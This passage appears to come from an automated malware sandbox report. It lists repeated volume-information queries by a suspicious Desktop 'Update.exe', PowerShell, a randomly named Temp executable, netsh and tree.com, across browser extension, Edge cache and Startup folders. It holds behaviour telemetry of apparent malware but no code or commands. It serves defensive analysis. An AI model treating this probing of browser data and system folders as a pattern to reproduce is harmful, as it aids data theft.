Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kk VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Queries volume information: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\tree.com Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
